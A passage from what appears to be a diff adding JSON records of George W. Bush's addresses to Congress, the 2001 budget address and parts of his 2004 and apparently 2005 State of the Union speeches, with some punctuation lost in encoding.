standing\nfor the freedom of our Iraqi friends, and freedom in Iraq will make America\nsafer for generations to come. We will not set an artificial timetable for\nleaving Iraq, because that would embolden the terrorists and make them believe\nthey can wait us out. We are in Iraq to achieve a result, a country that is\ndemocratic, representative of all its people, at peace with its neighbors, and\nable to defend itself. And when that result is achieved, our men and women\nserving in Iraq will return home with the honor they have earned.Right now, Americans in uniform are serving at posts across the world, often\ntaking great risks on my orders. We have given them training and equipment, and\nthey have given us an example of idealism and character that makes every\nAmerican proud. The volunteers of our military are unrelenting in battle,\nunwavering in loyalty, unmatched in honor and decency, and every day they're\nmaking our Nation more secure. Some of our service men and women have survived\nterrible injuries, and this grateful country will do everything we can to help\nthem recover. And we have said farewell to some very good men and women who died\nfor our freedom and whose memory this Nation will honor forever.One name we honor is Marine Corps Sergeant Byron Norwood of Pflugerville, Texas,\nwho was killed during the assault on Fallujah. His mom, Janet, sent me a letter\nand told me how much Byron loved being a marine and how proud he was to be on\nthe frontline against terror. She wrote, \"When Byron was home the last time, I\nsaid that I wanted to protect him like I had since he was born. He just hugged\nme and said, 'You've done your job, Mom. Now it is my turn to protect you.' \"\nLadies and gentlemen, with grateful hearts we honor freedom's defenders and our\nmilitary families, represented here this evening by Sergeant Norwood's mom and\ndad, Janet and Bill Norwood.[At this point, in the First Lady's box, guest Safia Taleb al-Suhail embraced\nguest Janet Norwood.]In these 4 years, Americans have seen the unfolding of large events. We have\nknown times of sorrow and hours of uncertainty and days of victory. In all this\nhistory, even when we have disagreed, we have seen threads of purpose that unite\nus. The attack on freedom in our world has reaffirmed our confidence in\nfreedom's power to change the world. We are all part of a great venture: To\nextend the promise of freedom in our country, to renew the values that sustain\nour liberty, and to spread the peace that freedom brings.As Franklin Roosevelt once reminded Americans, \"Each age is a dream that is\ndying, or one that is coming to birth.\" And we live in the country where the\nbiggest dreams are born. The abolition of slavery was only a dream until it was\nfulfilled. The liberation of Europe from fascism was only a dream until it was\nachieved. The fall of imperial communism was only a dream until, one day, it was\naccomplished. Our generation has dreams of its own, and we also go forward with\nconfidence. The road of providence is uneven and unpredictable, yet we know\nwhere it leads: It leads to freedom.Thank you, and may God bless America.", 
+    "name": "George W. Bush"
+}
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+{
+    "date": "February 27, 2001", 
+    "speech": "To the Congress of the United States:Mr. Speaker, Mr. Vice President, Members of Congress:It is a great privilege to be here to outline a new budget and a new approach\nfor governing our great country. I thank you for your invitation to speak here\ntonight. I want to thank so many of you who have accepted my invitation to come\nto the White House to discuss important issues. We are off to a good start. I\nwill continue to meet with you and ask for your input. You have been kind and\ncandid, and I thank you for making a new President feel welcome.The last time I visited the Capitol, I came to take an oath. On the steps of\nthis building, I pledged to honor our Constitution and laws, and I asked you to\njoin me in setting a tone of civility and respect in Washington. I hope America\nis noticing the difference. We are making progress. Together, we are changing\nthe tone of our Nations capital. And this spirit of respect and cooperation is\nvitalbecause in the end, we will be judged not only by what we say or how we\nsay it, but by what we are able to accomplish.America today is a nation with great challengesbut greater resources. An artist\nusing statistics as a brush could paint two very different pictures of our\ncountry. One would have warning signs: increasing layoffs, rising energy prices,\ntoo many failing schools, persistent poverty, the stubborn vestiges of racism.\nAnother picture would be full of blessings: a balanced budget, big surpluses, a\nmilitary that is second to none, a country at peace with its neighbors,\ntechnology that is revolutionizing the world, and our greatest strength,\nconcerned citizens who care for our country and for each other. Neither picture\nis complete in and of itself. And tonight I challenge and invite Congress to\nwork with me to use the resources of one picture to repaint the otherto direct\nthe advantages of our time to solve the problems of our people.Some of these resources will come from governmentsome, but not all. Year after\nyear in Washington, budget debates seem to come down to an old, tired argument:\non one side, those who want more government, regardless of the cost; on the\nother, those who want less government, regardless of the need.We should leave those arguments to the last century and chart a different\ncourse. Government has a role, and an important one. Yet too much government\ncrowds out initiative and hard work, private charity and the private economy.\nOur new governing vision says government should be active, but limited, engaged,\nbut not overbearing. My budget is based on that philosophy. It is reasonable and\nit is responsible. It meets our obligations and funds our growing needs. We\nincrease spending next year for Social Security and Medicare and other\nentitlement programs by $81 billion. We have increased spending for\ndiscretionary programs by a very responsible 4 percent, above the rate of\ninflation. My plan pays down an unprecedented amount of our national debt, and\nthen when money is still left over, my plan returns it to the people who earned\nit in the first place.A budgets impact is counted in dollars, but measured in lives. Excellent\nschools, quality health care, a secure retirement, a cleaner environment, a\nstronger defensethese are all important needs and we fund them.The highest percentage increase in our budget should go to our childrens\neducation. Education is my top priority and by supporting this budget, you will\nmake it yours as well. Reading is the foundation of all learning, so during the\nnext 5 years, we triple spending, adding another $5 billion to help every child\nin America learn to read. Values are important, so we have tripled funding for\ncharacter education to teach our children not only reading and writing, but\nright from wrong.We have increased funding to train and recruit teachers, because we know a good\neducation starts with a good teacher. And I have a wonderful partner in this\neffort. I like teachers so much, I married one. Please help me salute our\ngracious First Lady, Laura Bush.Laura has begun a new effort to recruit Americans to the profession that will\nshape our future: teaching. Laura will travel across America, to promote sound\nteaching practices and early reading skills in our schools and in programs such\nas Head Start.When it comes to our schools, dollars alone do not always make the difference.\nFunding is important, and so is reform. So we must tie funding to higher\nstandards and accountability for results.I believe in local control of schools: we should not and we will not run our\npublic schools from Washington. Yet when the Federal Government spends tax\ndollars, we must insist on results. Children should be tested on basic reading\nand math skills every year, between grades three and eight. Measuring is the\nonly way to know whether all our children are learningand I want to know,\nbecause I refuse to leave any child behind.Critics of testing contend it distracts from learning. They talk about\nteaching to the test. But let us put that logic to the test. If you test\nchildren on basic math and reading skills, and you are teaching to the test,\nyou are teaching . . . math and reading. And that is the whole idea.As standards rise, local schools will need more flexibility to meet them. So we\nmust streamline the dozens of Federal education programs into five and let\nStates spend money in those categories as they see fit.Schools will be given a reasonable chance to improve, and the support to do so.\nYet if they do not, if they continue to fail, we must give parents and students\ndifferent optionsa better public school, a private school, tutoring, or a\ncharter school. In the end, every child in a bad situation must be given a\nbetter choice, because when it comes to our children, failure is not an option.Another priority in my budget is to keep the vital promises of Medicare and\nSocial Security, and together we will do so. To meet the health care needs of\nall Americas seniors, we double the Medicare budget over the next 10 years.My budget dedicates $238 billion to Medicare next year alone, enough to fund all\ncurrent programs and to begin a new prescription drug benefit for lowincome\nseniors. No senior in America should have to choose between buying food and\nbuying prescriptions. To make sure the retirement savings of Americas seniors\nare not diverted to any other programmy budget protects all $2.6 trillion of\nthe Social Security surplus for Social Security and for Social Security alone.My budget puts a priority on access to health carewithout telling Americans\nwhat doctor they have to see or what coverage they must choose. Many working\nAmericans do not have health care coverage. We will help them buy their own\ninsurance with refundable tax credits. And to provide quality care in low-income\nneighborhoods, over the next 5 years we will double the number of people served\nat community health care centers. And we will address the concerns of those who\nhave health coverage yet worry their insurance company does not care and will\nnot pay. Together, this Congress and this President will find common ground to\nmake sure doctors make medical decisions and patients get the health care they\ndeserve with a Patients Bill of Rights. When it comes to their health, people\nwant to get the medical care they need, not be forced to go to court because\nthey did not get it. We will ensure access to the courts for those with\nlegitimate claims, but first, let us put in place a strong independent review so\nwe promote quality health care, not frivolous lawsuits.My budget also increases funding for medical research, which gives hope to many\nwho struggle with serious disease. Our prayers tonight are with one of your own\nwho is engaged in his own fight against cancer, a fine representative and a good\nman, Congressman JOE MOAKLEY. God bless you, JOE. And I can think of no more\nappropriate tribute to JOE than to have the Congress finish the job of doubling\nthe budget for the National Institutes of Health. My New Freedom Initiative for\nAmericans with Disabilities funds new technologies, expands opportunities to\nwork, and makes our society more welcoming. For the more than 50 million\nAmericans with disabilities, we must continue to break down barriers to\nequality.The budget I propose to you also supports the people who keep our country strong\nand free, the men and women who serve in the United States military. I am\nrequesting $5.7 billion in increased military pay and benefits, and health care\nand housing. Our men and women in uniform give America their best and we owe\nthem our support. Americas veterans honored their commitment to our country\nthrough their military service. I will honor our commitment to them with a\nbillion dollar increase to ensure better access to quality care and faster\ndecisions on benefit claims.My budget will improve our environment by accelerating the cleanup of toxic\nBrownfields. And I propose we make a major investment in conservation by fully\nfunding the Land and Water Conservation Fund. Our National Parks have a special\nplace in our countrys life. Our parks are places of great natural beauty and\nhistory. As good stewards, we must leave them better than we have found them, so\nI propose providing $4.9 billion in resources over 5 years for the upkeep of\nthese national treasures.And my budget adopts a hopeful new approach to help the poor and disadvantaged.\nWe must encourage and support the work of charities and faithbased and community\ngroups that offer help and love one person at a time. These groups are working\nin every neighborhood in America, to fight homelessness and addiction and\ndomestic violence, to provide a hot meal or a mentor or a safe haven for our\nchildren. Government should welcome these groups to apply for funds, not\ndiscriminate against them.Government cannot be replaced by charities or volunteers. And government should\nnot fund religious activities. But our Nations should support the good works of\nthese good people who are helping neighbors in need. So I am proposing allowing\nall taxpayers, whether they itemize or not, to deduct their charitable\ncontributions. Estimates show this could encourage as much as $14 billion a year\nin new charitable givingmoney that will save and change lives.Our budget provides more than $700 million over the next 10 years for a Federal\nCompassion Capital Fund with a focused and noble mission: to provide a mentor to\nthe more than 1 million children with a parent in prison, and to support other\nlocal efforts to fight illiteracy, teen pregnancy, drug addiction, and other\ndifficult problems. With us tonight is the Mayor of Philadelphia. Please help me\nwelcome Mayor John Street. Mayor Street has encouraged faith-based and community\norganizations to make a difference in Philadelphia and he has invited me to his\ncity this summer, to see compassion in action.I am personally aware of just how effective the Mayor is. Mayor Street is a\nDemocrat. Let the record show that I lost his city. But some things are bigger\nthan politics. So I look forward to coming to your city to see your faithbased\nprograms in action.As government promotes compassion, it also must promote justice. Too many of our\ncitizens have cause to doubt our Nations justice when the law points a finger\nof suspicion at groups, instead of individuals. All our citizens are created\nequal and must be treated equally. Earlier today I asked Attorney General\nAshcroft to develop specific recommendations to end racial profiling. It is\nwrong. We must end it. In so doing, we will not hinder the work of our Nations\nbrave police officers. They protect us every day, often at great risk. But by\nstopping the abuses of a few, we will add to the public confidence our police\nofficers earn and deserve.My budget has funded a responsible increase in our ongoing operations, it has\nfunded our Nations important priorities, it has protected Social Security and\nMedicare, and our surpluses are big enough that there is still money left over.Many of you have talked about the need to pay down our national debt. I have\nlistened, and I agree.My budget proposal pays down an unprecedented amount of public debt. We owe it\nto our children and grandchildren to act now, and I hope you will join me to pay\ndown $2 trillion in debt during the next 10 years.At the end of those 10 years, we will have paid down all the debt that is\navailable to retire. That is more debt repaid more quickly than has ever been\nrepaid by any nation at any time in history.We should also prepare for the unexpected, for the uncertainties of the future.\nWe should approach our Nations budget as any prudent family would, with a\ncontingency fund for emergencies or additional spending needs.For example, after a strategic review, we may need to increase defense spending,\nwe may need additional money for our farmers, or additional money to reform\nMedicare. And so my budget sets aside almost a trillion dollars over 10 years\nfor additional needs . . . that is one trillion additional reasons you can feel\ncomfortable supporting this budget. We have increased our budget at a\nresponsible 4 percent, we have funded our priorities, we have paid down all the\navailable debt, we have prepared for contingenciesand we still have money left\nover.Yogi Berra once said: When you come to a fork in the road, take it. Now we\ncome to a fork in the road. We have two choices. Even though we have already met\nour needs, we could spend the money on more and bigger government. That is the\nroad our Nation has traveled in recent years. Last year, government spending\nshot up 8 percent. That is far more than our economy grew, far more than\npersonal income grew and far more than the rate of inflation. If you continue on\nthat road, you will spend the surplus and have to dip into Social Security to\npay other bills.Unrestrained government spending is a dangerous road to deficits, so we must\ntake a different path. The other choice is to let the American people spend\ntheir own money to meet their own needs, to fund their own priorities and pay\ndown their own debts. I hope you will join me and stand firmly on the side of\nthe people.The growing surplus exists because taxes are too high and government is charging\nmore than it needs. The people of America have been overcharged and on their\nbehalf, I am here to ask for a refund.Some say my tax plan is too big, others say it is too small. I respectfully\ndisagree. This tax relief is just right. I did not throw darts at a board to\ncome up with a number for tax relief. I did not take a poll, or develop an\narbitrary formula that might sound good. I looked at problems in the tax code\nand calculated the cost to fix them. A tax rate of 15 percent is too high for\nthose who earn low wages, so we lowered the rate to 10 percent. No one should\npay more than a third of the money they earn in Federal income taxes, so we\nlowered the top rate to 33 percent. This reform will be welcome relief for\nAmericas small businesses, which often pay taxes at the highest rate, and help\nfor small business means jobs for Americans.We simplified the tax code by reducing the number of tax rates from the current\nfive rates to four lower ones: 10, 15, 25, and 33 percent. In my plan, no one is\ntargeted in or targeted out . . . every one who pays income taxes will get tax\nrelief.Our government should not tax, and thereby discourage marriage, so we reduced\nthe marriage penalty. I want to help families rear and support their children,\nso we doubled the child credit to $1,000 per child. It is not fair to tax the\nsame earnings twiceonce when you earn them, and again when you die, so we must\nrepeal the death tax. These changes add up to significant help. A typical family\nwith two children will save $1,600 a year on their Federal income taxes. Sixteen\nhundred dollars may not sound like a lot to some, but it means a lot to many\nfamilies. Sixteen hundred dollars buys gas for two cars for an entire year, it\npays tuition for a year at a community college, it pays the average family\ngrocery bill for 3 months. That is real money.With us tonight, representing many American families, are Steven and Josefina\nRamos. Please help me welcome them. The Ramoses are from Pennsylvania, but they\ncould be from any one of your districts. Steven is a network administrator for a\nschool district, Josefina is a Spanish teacher at a charter school, and they\nhave a 2-yearold daughter, Lianna. Steven and Josefina tell me they pay almost\n$8,000 a year in Federal income taxes; my plan will same them more than $2,000.\nLet me tell you what Steven says:Two thousand dollars a year means a lot to my family. If we had this money, it\nwould help us reach our goal of paying off our personal debt in two years.\nAfter that, Steven and Josefina want to start saving for Liannas college\neducation. Government should never stand in the way of families achieving their\ndreams. The surplus is not the governments money, the surplus is the peoples\nmoney.For lower-income families, my tax relief plan restores basic fairness. Right\nnow, complicated tax rules punish hard work. A waitress supporting two children\non $25,000 a year can lose nearly half of every additional dollar she earns. Her\novertime, her hardest hours, are taxed at nearly 50 percent. This sends a\nterrible message: You will never get ahead. But Americas message must be\ndifferent: We must honor hard work, never punish it.With tax relief, overtime will no longer be overtax time for the waitress.\nPeople with the smallest incomes will get the highest percentage reductions. And\nmillions of additional American families will be removed from the income tax\nrolls entirely.Tax relief is right and tax relief is urgent. The long economic expansion that\nbegan almost 10 years ago is faltering. Lower interest rates will eventually\nhelp, but we cannot assume they will do the job all by themselves. Forty years\nago and then twenty years ago, two Presidents, one Democrat and one Republican,\nJohn F. Kennedy and Ronald Reagan, advocated tax cuts toin President Kennedys\nwordsget this country moving again.They knew then, what we must do now: To create economic growth and opportunity,\nwe must put money back into the hands of the people who buy goods and create\njobs.We must act quickly. The Chairman of the Federal Reserve has testified before\nCongress that tax cuts often come too late to stimulate economic recovery. So I\nwant to work with you to give our economy an important jump start by making tax\nrelief retroactive. We must act now because it is the right thing to do. We must\nalso act now because we have other things to do. We must show courage to\nconfront and resolve tough challenges: to restructure our Nations defenses, to\nmeet our growing need for energy, and to reform Medicare and Social Security.\nAmerica has a window of opportunity to extend and secure our present peace by\npromoting a distinctly American internationalism. We will work with our allies\nand friends to be a force for good and a champion of freedom. We will work for\nfree markets and free trade and freedom from oppression. Nations making progress\ntoward freedom will find America is their friend. We will promote our values,\nand we will promote peace. And we need a strong military to keep the peace. But\nour military was shaped to confront the challenges of the past. So I have asked\nthe Secretary of Defense to review Americas armed forces and prepare to\ntransform them to meet emerging threats. My budget makes a downpayment on the\nresearch and development that will be required. Yet, in our broader\ntransformation effort, we must put strategy first, then spending. Our defense\nvision will drive our defense budget, not the other way around. Our Nation also\nneeds a clear strategy to confront the threats of the 21st century, threats that\nare more widespread and less certain. They range from terrorists who threaten\nwith bombs to tyrants and rogue nations intent on developing weapons of mass\ndestruction. To protect our own people, our allies and friends, we must develop\nand we must deploy effective missile defenses.And as we transform our military, we can discard Cold War relics, and reduce our\nown nuclear forces to reflect todays needs.A strong America is the worlds best hope for peace and freedom. Yet the cause\nof freedom rests on more than our ability to defend ourselves and our allies.\nFreedom is exported every day, as we ship goods and products that improve the\nlives of millions of people. Free trade brings greater political and personal\nfreedom.Each of the previous five Presidents has had the ability to negotiate\nfarreaching trade agreements. Tonight I ask you to give me the strong hand of\npresidential trade promotion authority, and to do so quickly.As we meet tonight, many citizens are struggling with the high costs of energy.\nWe have a serious energy problem that demands a national energy policy. The West\nis confronting a major energy shortage that has resulted in high prices and\nuncertainty. I have asked Federal agencies to work with California officials to\nhelp speed construction of new energy sources. And I have directed Vice\nPresident CHENEY, Commerce Secretary Evans, Energy Secretary Abraham, and other\nsenior members of my Administration to recommend a national energy policy.Our energy demand outstrips our supply. We can produce more energy at home while\nprotecting our environment, and we must. We can produce more electricity to meet\ndemand, and we must. We can promote alternative energy sources and conservation,\nand we must. America must become more energy independent.Perhaps the biggest test of our foresight and courage will be reforming Medicare\nand Social Security. Medicares finances are strained and its coverage is\noutdated. Ninety-nine percent of employer-provided health plans offer some form\nof prescription drug coverage . . . Medicare does not. The framework for reform\nhas been developed by Senators FRIST and BREAUX and Congressman THOMAS, and now,\nit is time to act. Medicare must be modernized. And we must make sure that every\nsenior on Medicare can choose a health plan that offers prescription drugs.Seven years from now, the baby boom generation will begin to claim Social\nSecurity benefits. Everyone in this chamber knows that Social Security is not\nprepared to fully fund their retirement. And we only have a couple of years to\nget prepared. Without reform, this country will one day awaken to a stark\nchoice: either a drastic rise in payroll taxes, or a radical cut in retirement\nbenefits. There is a better way.This spring I will form a presidential commission to reform Social Security. The\ncommission will make its recommendations by next fall. Reform should be based on\nthese principles: It must preserve the benefits of all current retirees and\nthose nearing retirement. It must return Social Security to sound financial\nfooting. And it must offer personal savings accounts to younger workers who want\nthem. Social Security now offers workers a return of less than 2 percent on the\nmoney they pay into the system. To save the system, we must increase that by\nallowing younger workers to make safe, sound investments at a higher rate of\nreturn.Ownership, access to wealth, and independence should not be the privilege of a\nfew. They are the hope of every American . . . and we must make them the\nfoundation of Social Security. By confronting the tough challenge of reform, by\nbeing responsible with our budget, we can earn the trust of the American people.\nAnd, we can add to that trust by enacting fair and balanced election and\ncampaign finance reforms.The agenda I have set before you tonight is worthy of a great country. America\nis a nation at peace, but not a nation at rest. Much has been given to us, and\nmuch is expected. Let us agree to bridge old divides. But let us also agree that\nour good will must be dedicated to great goals. Bipartisanship is more than\nminding our manners, it is doing our duty. No one can speak in this Capitol and\nnot be awed by its history. At so many turning points, debates in these chambers\nhave reflected the collected or divided conscience of our country. And when we\nwalk through Statuary Hall, and see those men and women of marble, we are\nreminded of their courage and achievement.Yet Americas purpose is never found in statues or history. Americas purpose\nalways stands before us. Our generation must show courage in a time of blessing,\nas our Nation has always shown in times of crisis. And our courage issue by\nissue, can gather to greatness, and serve our country. This is the privilege,\nand responsibility, we share. And if we work together, we can prove that public\nservice is noble.We all came here for a reason. We all have things we want to accomplish, and\npromises to keep. Juntos podemos, together we can. We can make Americans proud\nof their government. Together we can share in the credit of making our country\nmore prosperous and generous and justand earn from our conscience and from our\nfellow citizens, the highest possible praise: well done, good and faithful\nservants.Thank you. Good night. And God Bless America.GEORGE W. BUSH.\nTHE WHITE HOUSE, February 27, 2001.", 
+    "name": "George W. Bush"
+}
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+{
+    "date": "January 20, 2004", 
+    "speech": "Mr. Speaker, Vice President Cheney, Members of Congress, distinguished guests,\nand fellow citizens: America this evening is a nation called to great\nresponsibilities, and we are rising to meet them.As we gather tonight, hundreds of thousands of American service men and women\nare deployed across the world in the war on terror. By bringing hope to the\noppressed and delivering justice to the violent, they are making America more\nsecure.Each day, law enforcement personnel and intelligence officers are tracking\nterrorist threats; analysts are examining airline passenger lists; the men and\nwomen of our new Homeland Security Department are patrolling our coasts and\nborders. And their vigilance is protecting America.Americans are proving once again to be the hardest working people in the world.\nThe American economy is growing stronger. The tax relief you passed is working.Tonight Members of Congress can take pride in the great works of compassion and\nreform that skeptics had thought impossible. You're raising the standards for\nour public schools, and you are giving our senior citizens prescription drug\ncoverage under Medicare.We have faced serious challenges together, and now we face a choice: We can go\nforward with confidence and resolve, or we can turn back to the dangerous\nillusion that terrorists are not plotting and outlaw regimes are no threat to\nus. We can press on with economic growth and reforms in education and Medicare,\nor we can turn back to old policies and old divisions.We've not come all this way, through tragedy and trial and war, only to falter\nand leave our work unfinished. Americans are rising to the tasks of history, and\nthey expect the same from us. In their efforts, their enterprise, and their\ncharacter, the American people are showing that the state of our Union is\nconfident and strong.Our greatest responsibility is the active defense of the American people.\nTwenty-eight months have passed since September the 11th, 2001-- over 2 years\nwithout an attack on American soil. And it is tempting to believe that the\ndanger is behind us. That hope is understandable, comforting--and false. The\nkilling has continued in Bali, Jakarta, Casablanca, Riyadh, Mombasa, Jerusalem,\nIstanbul, and Baghdad. The terrorists continue to plot against America and the\ncivilized world. And by our will and courage, this danger will be defeated.Inside the United States, where the war began, we must continue to give our\nhomeland security and law enforcement personnel every tool they need to defend\nus. And one of those essential tools is the PATRIOT Act, which allows Federal\nlaw enforcement to better share information to track terrorists, to disrupt\ntheir cells, and to seize their assets. For years, we have used similar\nprovisions to catch embezzlers and drug traffickers. If these methods are good\nfor hunting criminals, they are even more important for hunting terrorists.Key provisions of the PATRIOT Act are set to expire next year. The terrorist\nthreat will not expire on that schedule. Our law enforcement needs this vital\nlegislation to protect our citizens. You need to renew the PATRIOT Act.America is on the offensive against the terrorists who started this war. Last\nMarch, Khalid Sheik Mohammed, a mastermind of September the 11th, awoke to find\nhimself in the custody of U.S. and Pakistani authorities. Last August the 11th\nbrought the capture of the terrorist Hambali, who was a key player in the attack\nin Indonesia that killed over 200 people. We're tracking Al Qaida around the\nworld, and nearly two-thirds of their known leaders have now been captured or\nkilled. Thousands of very skilled and determined military personnel are on the\nmanhunt, going after the remaining killers who hide in cities and caves, and one\nby one, we will bring these terrorists to justice.As part of the offensive against terror, we are also confronting the regimes\nthat harbor and support terrorists and could supply them with nuclear, chemical,\nor biological weapons. The United States and our allies are determined: We\nrefuse to live in the shadow of this ultimate danger.The first to see our determination were the Taliban, who made Afghanistan the\nprimary training base of Al Qaida killers. As of this month, that country has a\nnew constitution guaranteeing free elections and full participation by women.\nBusinesses are opening. Health care centers are being established, and the boys\nand girls of Afghanistan are back in school. With the help from the new Afghan\narmy, our coalition is leading aggressive raids against the surviving members of\nthe Taliban and Al Qaida. The men and women of Afghanistan are building a nation\nthat is free and proud and fighting terror, and America is honored to be their\nfriend.Since we last met in this Chamber, combat forces of the United States, Great\nBritain, Australia, Poland, and other countries enforced the demands of the\nUnited Nations, ended the rule of Saddam Hussein, and the people of Iraq are\nfree.Having broken the Ba'athist regime, we face a remnant of violent Saddam\nsupporters. Men who ran away from our troops in battle are now dispersed and\nattack from the shadows. These killers, joined by foreign terrorists, are a\nserious, continuing danger. Yet we're making progress against them. The once\nall-powerful ruler of Iraq was found in a hole and now sits in a prison cell. Of\nthe top 55 officials of the former regime, we have captured or killed 45. Our\nforces are on the offensive, leading over 1,600 patrols a day and conducting an\naverage of 180 raids a week. We are dealing with these thugs in Iraq just as\nsurely as we dealt with Saddam Hussein's evil regime.The work of building a new Iraq is hard, and it is right. And America has always\nbeen willing to do what it takes for what is right. Last January, Iraq's only\nlaw was the whim of one brutal man. Today, our coalition is working with the\nIraqi Governing Council to draft a basic law with a bill of rights. We're\nworking with Iraqis and the United Nations to prepare for a transition to full\nIraqi sovereignty by the end of June.As democracy takes hold in Iraq, the enemies of freedom will do all in their\npower to spread violence and fear. They are trying to shake the will of our\ncountry and our friends, but the United States of America will never be\nintimidated by thugs and assassins. The killers will fail, and the Iraqi people\nwill live in freedom.Month by month, Iraqis are assuming more responsibility for their own security\nand their own future. And tonight we are honored to welcome one of Iraq's most\nrespected leaders, the current President of the Iraqi Governing Council, Adnan\nPachachi.Sir, America stands with you and the Iraqi people as you build a free and\npeaceful nation.Because of American leadership and resolve, the world is changing for the\nbetter. Last month, the leader of Libya voluntarily pledged to disclose and\ndismantle all of his regime's weapons of mass destruction programs, including a\nuranium enrichment project for nuclear weapons. Colonel Qadhafi correctly judged\nthat his country would be better off and far more secure without weapons of mass\nmurder.Nine months of intense negotiations involving the United States and Great\nBritain succeeded with Libya, while 12 years of diplomacy with Iraq did not. And\none reason is clear: For diplomacy to be effective, words must be credible, and\nno one can now doubt the word of America.Different threats require different strategies. Along with nations in the\nregion, we're insisting that North Korea eliminate its nuclear program. America\nand the international community are demanding that Iran meet its commitments and\nnot develop nuclear weapons. America is committed to keeping the world's most\ndangerous weapons out of the hands of the most dangerous regimes.When I came to this rostrum on September the 20th, 2001, I brought the police\nshield of a fallen officer, my reminder of lives that ended and a task that does\nnot end. I gave to you and to all Americans my complete commitment to securing\nour country and defeating our enemies. And this pledge, given by one, has been\nkept by many.You in the Congress have provided the resources for our defense and cast the\ndifficult votes of war and peace. Our closest allies have been unwavering.\nAmerica's intelligence personnel and diplomats have been skilled and tireless.\nAnd the men and women of the American military-- they have taken the hardest\nduty. We've seen their skill and their courage in armored charges and midnight\nraids and lonely hours on faithful watch. We have seen the joy when they return\nand felt the sorrow when one is lost. I've had the honor of meeting our service\nmen and women at many posts, from the deck of a carrier in the Pacific to a mess\nhall in Baghdad.Many of our troops are listening tonight, and I want you and your families to\nknow: America is proud of you. And my administration and this Congress will give\nyou the resources you need to fight and win the war on terror.I know that some people question if America is really in a war at all. They view\nterrorism more as a crime, a problem to be solved mainly with law enforcement\nand indictments. After the World Trade Center was first attacked in 1993, some\nof the guilty were indicted and tried and convicted and sent to prison. But the\nmatter was not settled. The terrorists were still training and plotting in other\nnations and drawing up more ambitious plans. After the chaos and carnage of\nSeptember the 11th, it is not enough to serve our enemies with legal papers. The\nterrorists and their supporters declared war on the United States, and war is\nwhat they got.Some in this Chamber and in our country did not support the liberation of Iraq.\nObjections to war often come from principled motives, but let us be candid about\nthe consequences of leaving Saddam Hussein in power. We're seeking all the\nfacts. Already, the Kay Report identified dozens of\nweapons-of-mass-destruction-related program activities and significant amounts\nof equipment that Iraq concealed from the United Nations. Had we failed to act,\nthe dictator's weapons of mass destruction programs would continue to this day.\nHad we failed to act, Security Council resolutions on Iraq would have been\nrevealed as empty threats, weakening the United Nations and encouraging defiance\nby dictators around the world. Iraq's torture chambers would still be filled\nwith victims, terrified and innocent. The killing fields of Iraq, where hundreds\nof thousands of men and women and children vanished into the sands, would still\nbe known only to the killers. For all who love freedom and peace, the world\nwithout Saddam Hussein's regime is a better and safer place.Some critics have said our duties in Iraq must be internationalized. This\nparticular criticism is hard to explain to our partners in Britain, Australia,\nJapan, South Korea, the Philippines, Thailand, Italy, Spain, Poland, Denmark,\nHungary, Bulgaria, Ukraine, Romania, the Netherlands, Norway, El Salvador, and\nthe 17 other countries that have committed troops to Iraq. As we debate at home,\nwe must never ignore the vital contributions of our international partners or\ndismiss their sacrifices.From the beginning, America has sought international support for our operations\nin Afghanistan and Iraq, and we have gained much support. There is a difference,\nhowever, between leading a coalition of many nations and submitting to the\nobjections of a few. America will never seek a permission slip to defend the\nsecurity of our country.We also hear doubts that democracy is a realistic goal for the greater Middle\nEast, where freedom is rare. Yet it is mistaken and condescending to assume that\nwhole cultures and great religions are incompatible with liberty and\nself-government. I believe that God has planted in every human heart the desire\nto live in freedom. And even when that desire is crushed by tyranny for decades,\nit will rise again.As long as the Middle East remains a place of tyranny and despair and anger, it\nwill continue to produce men and movements that threaten the safety of America\nand our friends. So America is pursuing a forward strategy of freedom in the\ngreater Middle East. We will challenge the enemies of reform, confront the\nallies of terror, and expect a higher standard from our friend. To cut through\nthe barriers of hateful propaganda, the Voice of America and other broadcast\nservices are expanding their programming in Arabic and Persian, and soon a new\ntelevision service will begin providing reliable news and information across the\nregion. I will send you a proposal to double the budget of the National\nEndowment for Democracy and to focus its new work on the development of free\nelections and free markets, free press, and free labor unions in the Middle\nEast. And above all, we will finish the historic work of democracy in\nAfghanistan and Iraq so those nations can light the way for others and help\ntransform a troubled part of the world.America is a nation with a mission, and that mission comes from our most basic\nbeliefs. We have no desire to dominate, no ambitions of empire. Our aim is a\ndemocratic peace, a peace founded upon the dignity and rights of every man and\nwoman. America acts in this cause with friends and allies at our side, yet we\nunderstand our special calling: This great Republic will lead the cause of\nfreedom.In the last 3 years, adversity has also revealed the fundamental strengths of\nthe American economy. We have come through recession and terrorist attack and\ncorporate scandals and the uncertainties of war. And because you acted to\nstimulate our economy with tax relief, this economy is strong and growing\nstronger.You have doubled the child tax credit from 500 to $1,000, reduced the marriage\npenalty, begun to phase out the death tax, reduced taxes on capital gains and\nstock dividends, cut taxes on small businesses, and you have lowered taxes for\nevery American who pays income taxes.Americans took those dollars and put them to work, driving this economy forward.\nThe pace of economic growth in the third quarter of 2003 was the fastest in\nnearly 20 years; new home construction, the highest in almost 20 years;\nhomeownership rates, the highest ever. Manufacturing activity is increasing.\nInflation is low. Interest rates are low. Exports are growing. Productivity is\nhigh, and jobs are on the rise. These numbers confirm that the American people\nare using their money far better than Government would have, and you were right\nto return it.America's growing economy is also a changing economy. As technology transforms\nthe way almost every job is done, America becomes more productive, and workers\nneed new skills. Much of our job growth will be found in high-skilled fields\nlike health care and biotechnology. So we must respond by helping more Americans\ngain the skills to find good jobs in our new economy.All skills begin with the basics of reading and math, which are supposed to be\nlearned in the early grades of our schools. Yet for too long, for too many\nchildren, those skills were never mastered. By passing the No Child Left Behind\nAct, you have made the expectation of literacy the law of our country. We're\nproviding more funding for our schools, a 36-percent increase since 2001. We're\nrequiring higher standards. We are regularly testing every child on the\nfundamentals. We are reporting results to parents and making sure they have\nbetter options when schools are not performing. We are making progress toward\nexcellence for every child in America.But the status quo always has defenders. Some want to undermine the No Child\nLeft Behind Act by weakening standards and accountability. Yet the results we\nrequire are really a matter of common sense: We expect third graders to read and\ndo math at the third grade level, and that's not asking too much. Testing is the\nonly way to identify and help students who are falling behind. This Nation will\nnot go back to the days of simply shuffling children along from grade to grade\nwithout them learning the basics. I refuse to give up on any child, and the No\nChild Left Behind Act is opening the door of opportunity to all of America's\nchildren.At the same time, we must ensure that older students and adults can gain the\nskills they need to find work now. Many of the fastest growing occupations\nrequire strong math and science preparation and training beyond the high school\nlevel. So tonight, I propose a series of measures called Jobs for the 21st\nCentury. This program will provide extra help to middle and high school students\nwho fall behind in reading and math, expand advanced placement programs in\nlow-income schools, invite math and science professionals from the private\nsector to teach part-time in our high schools. I propose larger Pell grants 